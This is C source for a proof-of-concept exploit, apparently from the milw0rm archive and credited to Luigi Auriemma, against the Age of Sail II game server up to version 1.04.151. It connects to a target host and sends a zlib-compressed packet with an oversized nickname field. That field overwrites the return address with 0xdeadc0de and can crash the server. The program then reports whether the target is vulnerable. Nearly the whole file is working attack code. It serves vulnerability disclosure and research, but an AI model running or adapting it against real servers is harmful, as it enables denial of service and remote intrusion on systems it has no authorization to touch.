/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>
#ifdef WIN32
#include <winsock.h>
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 7732
#define BUFFSZ 2048
#define NICKSZ 144
#define RET 0xdeadc0de
#define TIMEOUT 3
int zip_it(u_char *in, int size, u_char *out, int maxsz);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ],
pck[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Age of Sail II <= 1.04.151 server buffer overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n"
" Return address will be overwritten with 0x%08x\n"
"\n", argv[0], port, RET);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("\n"
"- connect to %s:%hu...",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("ok\n\n", stdout);
memset(pck, 0x00, BUFFSZ); // needed
*(u_short *)(pck + 4) = 2; // dunno (?)
*(u_short *)(pck + 6) = NICKSZ; // nickname size
memset(pck + 8, 'a', NICKSZ); // nickname
*(u_long *)(pck + 8 + NICKSZ - 4) = RET; // return address
*(u_long *)(pck + NICKSZ + 44) = 0xffffffff; // dunno (?)
*(u_long *)(pck + NICKSZ + 50) = 0x02060123; // client version
len = 8 + NICKSZ + 36 + 6 + 4;
*(u_short *)(pck + 2) = len - 4; // size - 4
len = zip_it(pck, len, buff + 4, BUFFSZ - 4) + 4;
*(u_long *)buff = len;
printf("- send buffer-overflow data, return address will be overwritten with 0x%08x\n", RET);
if(send(sd, buff, len, 0)
< 0) std_err();
fputs("- check if server is vulnerable:\n", stdout);
if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
fputs("\nServer IS vulnerable!!!!!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int zip_it(u_char *in, int size, u_char *out, int maxsz) {
z_stream z;
int ret;
z.zalloc = (alloc_func)0;
z.zfree = (free_func)0;
z.opaque = (voidpf)0;
if(deflateInit(&z, Z_BEST_COMPRESSION)) {
fputs("\nError: zlib initialization error\n", stdout);
exit(1);
}
z.next_in = in;
z.avail_in = size;
z.next_out = out;
z.avail_out = maxsz;
deflate(&z, Z_FINISH);
ret = z.total_out;
deflateEnd(&z);
return(ret);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-03-03]